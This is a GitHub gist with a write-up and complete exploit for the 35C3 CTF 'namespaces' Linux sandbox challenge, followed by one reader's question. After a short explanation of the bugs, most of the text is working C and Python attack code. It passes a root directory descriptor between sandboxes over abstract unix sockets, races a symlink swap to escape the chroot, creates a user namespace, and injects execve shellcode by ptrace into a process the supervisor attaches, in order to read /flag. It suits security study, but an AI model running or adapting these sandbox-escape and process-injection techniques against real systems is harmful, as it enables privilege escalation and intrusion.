Skip to content

Instantly share code, notes, and snippets.

@sroettger
Last active January 29, 2023 17:25
  • Star 10 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save sroettger/bd0a6cdba0502181f38f97db22fc255f to your computer and use it in GitHub Desktop.
35c3 ctf namespaces solution

== Challenge ==

namespaces with a sandbox challenge based on linux user namespaces. It gives you two options:

  1. run a binary in a new namespace sandbox
  2. run a binary in an existing sandbox

After a while, a hint was released that for the intended solution you will need to create a user namespace yourself.

If you start a new sandbox, the supervisor will

  • unshare all namespaces
  • change the uid and gid
  • chroot to a directory in /tmp/chroots/
  • execute your binary

If you attach to an existing sandbox, the supervisor will

  • find the pid of the init process
  • attach to all namespaces except net
  • change uid/gid
  • chroot
  • execute your binary

The flag is outside of the chroots and only readable by uid 0.

== Bugs ==

The first issue was already mentioned, when running a new process in an existing sandbox, the supervisor doesn't attach to the network namespace. The second thing to notice is that /tmp/chroots is world-writable. And finally, attaching to the namespaces of a process is not done in a safe way if there's a process inside the user ns with capabilities.

== Exploitation ==

As mentioned in the hint, you want to be able to create your own usernamespace. It sounds easy, just call unshare. However since the processes are all chrooted, they're not allowed to create a new user namespace. You need to find a way to break out of the chroot.

First, we need to abuse the fact that the supervisor forgets about the network namespace when attaching to an existing sandbox. This allows us to communicate between different sandboxes using abstract unix domain sockets (man 7 unix) including sending file descriptors from one sandbox to another. Sending the fd of / from allows us to access files outside of the chroot. If we're chrooted to /tmp/chroots/0 and receive a file descriptor to /tmp/chroots/1, we can use that fd to traverse upwards and access the whole fs.

Next, we use our filesystem access and race a new sandbox creation. Once /tmp/chroots/2 gets created, we delete it and replace it with a symlink to /. The supervisor will then chroot to / which gives us a process that is not in a chroot anymore.

This allows us to unshare a user namespace ourselves and gain all capabilities inside. This allows us to race the new process creation. Once the supervisor attaches to our user and pid namespace, we can ptrace it and inject shellcode to read /flag.

#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <err.h>
#include "util.h"
char *socket_path = "\0hidden";
int main(int argc, char *argv[]) {
struct sockaddr_un addr;
int fd = socket(AF_UNIX, SOCK_SEQPACKET, 0);
if (fd == -1) {
err(1, "socket error");
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
*addr.sun_path = '\0';
strncpy(addr.sun_path+1, socket_path+1, sizeof(addr.sun_path)-2);
if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
err(1, "connect error");
}
puts("[*] connected");
int slash = check(open("/", O_PATH), "open");
send_fd(fd, slash);
return 0;
}
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
import time
#context.log_level = 'DEBUG'
def m(opt):
print r.recvuntil('> ')
r.sendline(str(opt))
def load_elf(filename):
data = read(filename)
print r.recvuntil('elf len? ')
r.sendline(str(len(data)))
print r.recvuntil('data? ')
r.send(data)
def create_sandbox(init="init"):
m(1)
print r.recvuntil('Please send me an init ELF.')
load_elf(init)
def choose_sandbox(sb_idx):
print r.recvuntil('which sandbox?')
r.sendline(str(sb_idx))
def run_elf(filename, sb_idx = 0):
m(2)
choose_sandbox(sb_idx)
load_elf(filename)
assert subprocess.call(["make"]) == 0
#r = process('./namespaces')
r = remote('35.246.140.24', 1)
print(r.readuntil('Your response?'))
r.send(raw_input())
create_sandbox('init')
create_sandbox('init')
run_elf('server')
time.sleep(1)
run_elf('client', 1)
time.sleep(1)
create_sandbox('unshare')
time.sleep(1)
run_elf('init', 2)
r.interactive()
#include <unistd.h>
int main(int argc, char *argv[])
{
while (1) {
sleep(10);
}
return 0;
}
.PHONY: exploit clean
exploit: client server unshare init
client: LDFLAGS=-static
client: client.o util.o
server: LDFLAGS=-static
server: server.o util.o
unshare: LDFLAGS=-static
unshare: unshare.o util.o
init: LDFLAGS=-static
init: init.o
clean:
- rm *.o
- rm client server unshare init
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "util.h"
char *socket_path = "\0hidden";
int main(int argc, char *argv[]) {
int fd = socket(AF_UNIX, SOCK_SEQPACKET, 0);
if (fd == -1) {
err(1, "socket error");
}
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
*addr.sun_path = '\0';
strncpy(addr.sun_path+1, socket_path+1, sizeof(addr.sun_path)-2);
if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
err(1, "bind error");
}
if (listen(fd, 1) == -1) {
err(1, "listen error");
}
int cl = accept(fd, NULL, NULL);
if ( cl == -1) {
err(1, "accept error");
}
puts("[*] accepted");
int slash = recv_fd(cl);
printf("received slash: %d\n", slash);
check(fchdir(slash), "fchdir");
check(chdir(".."), "chdir");
while (rmdir("2") != 0) {
;
}
check(symlink("../..", "2"), "symlink");
puts("[*] symlink created");
return 0;
}
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <err.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/user.h>
#include "util.h"
void write_proc(const char *fname, const char *data) {
char path[4096] = "";
snprintf(path, sizeof(path), "/proc/self/%s", fname);
int fd = check(open(path, O_WRONLY), "open xidmap");
if (write(fd, data, strlen(data)) != strlen(data)) {
err(1, "write");
}
close(fd);
}
void ptrace_copy(pid_t pid, unsigned long addr, const char *data, size_t size) {
while (1) {
printf("[*] ptrace: %ld\n", ptrace(PTRACE_POKETEXT, pid, addr, *(unsigned long *)data));
fflush(stdout);
if (size < 8) {
break;
}
size -= 8;
data += 8;
addr += 8;
}
}
int main(int argc, char *argv[]) {
//check(unshare(CLONE_NEWUSER|CLONE_NEWPID|CLONE_NEWNS|CLONE_NEWIPC|CLONE_NEWUTS|CLONE_NEWCGROUP), "unshare");
if (unshare(CLONE_NEWUSER|CLONE_NEWPID|CLONE_NEWNS|CLONE_NEWIPC|CLONE_NEWUTS|CLONE_NEWCGROUP) == -1) {
perror("[*] unshare failed");
getchar();
return -1;
}
puts("[*] unshare worked");
write_proc("setgroups", "deny");
write_proc("uid_map", "0 1 1");
write_proc("gid_map", "0 1 1");
puts("[*] wrote idmaps");
if (!check(fork(), "fork")) {
check(mount("", "/etc", "proc", 0, ""), "mount(proc)");
check(mount("", "/proc", "tmpfs", 0, ""), "mount(tmp)");
for (int i = 1; i < 60000; i++) {
char proc_dir[4096];
snprintf(proc_dir, sizeof(proc_dir), "/proc/%d", i);
check(symlink("/etc/1", proc_dir), "symlink");
}
puts("[*] symlinks created");
sleep(3600);
return 0;
}
puts("[*] forked");
int victim = 3;
while (kill(victim, SIGSTOP) != 0) {
;
}
puts("[*] stopped!");
printf("[*] ptrace: %ld\n", ptrace(PTRACE_ATTACH, victim, 0, 0));
struct user_regs_struct regs;
//const char sc[] = "\xeb\xfe";
const char sc[] = "\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x75\x21\x2e\x67\x6d\x60\x66\x01\x48\x31\x04\x24\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x72\x69\x01\x2c\x62\x01\x62\x60\x48\x31\x04\x24\x31\xf6\x56\x6a\x0e\x5e\x48\x01\xe6\x56\x6a\x13\x5e\x48\x01\xe6\x56\x6a\x18\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";
sleep(1);
ptrace(PTRACE_GETREGS, victim, 0, &regs);
printf("[*] rip: %llx\n", regs.rip);
ptrace_copy(victim, regs.rip, sc, sizeof(sc));
printf("[*] detach: %ld\n", ptrace(PTRACE_DETACH, victim, 0, 0));
printf("[*] kill cont: %d\n", kill(victim, SIGCONT));
sleep(10);
puts("[*] exiting");
//getchar();
return 0;
}
#define _GNU_SOURCE
#include "util.h"
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <elf.h>
#include <stdlib.h>
#include <linux/limits.h>
#include <err.h>
void make_cloexec(int fd) {
int flags = check(fcntl(fd, F_GETFD), "fcntl(F_GETFD)");
check(fcntl(fd, F_SETFD, flags | FD_CLOEXEC), "fcntl(F_SETFD)");
}
long check(long res, const char *msg) {
if (res == -1) {
err(1, "%s", msg);
}
return res;
}
void send_fd(int chan, int fd) {
char buf[1] = {0};
struct iovec data = {.iov_base = buf, .iov_len = 1};
struct msghdr msg = {0};
msg.msg_iov = &data;
msg.msg_iovlen = 1;
char ctl_buf[CMSG_SPACE(sizeof(int))];
msg.msg_control = ctl_buf;
msg.msg_controllen = sizeof(ctl_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
*(int*)CMSG_DATA(cmsg) = fd;
msg.msg_controllen = cmsg->cmsg_len;
ssize_t send_len = check(sendmsg(chan, &msg, 0), "sendmsg(fd)");
if (send_len != 1) {
err(1, "sendmsg(fd len)");
}
check(close(fd), "close(send fd)");
}
int recv_fd(int chan) {
char buf[1] = {0};
struct iovec data = {.iov_base = buf, .iov_len = 1};
struct msghdr msg = {0};
msg.msg_iov = &data;
msg.msg_iovlen = 1;
char ctl_buf[CMSG_SPACE(sizeof(int))];
msg.msg_control = ctl_buf;
msg.msg_controllen = sizeof(ctl_buf);
ssize_t recv_len = check(recvmsg(chan, &msg, 0), "recvmsg(fd)");
for (struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; cmsg = CMSG_NXTHDR(&msg, cmsg)) {
if (cmsg->cmsg_level == SOL_SOCKET && cmsg->cmsg_type == SCM_RIGHTS) {
int fd = *(int *) CMSG_DATA(cmsg);
make_cloexec(fd);
return fd;
}
}
errx(1, "no fd received");
}
#include <sys/types.h>
ssize_t check(ssize_t ret, const char * const msg);
void send_fd(int chan, int fd);
int recv_fd(int chan);
@nopitydays
Copy link

Hi, I'm confused that your script write /proc/self/uid_map successfully. I tried to create a unshare process after call new_proc() function, but I can't modify /proc/self/uid_map or /proc/self/gid_map. And some documents tell me that only process in father user namespace or child namespace can modify uid_map of current user namespace. So it really confused me. :(

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment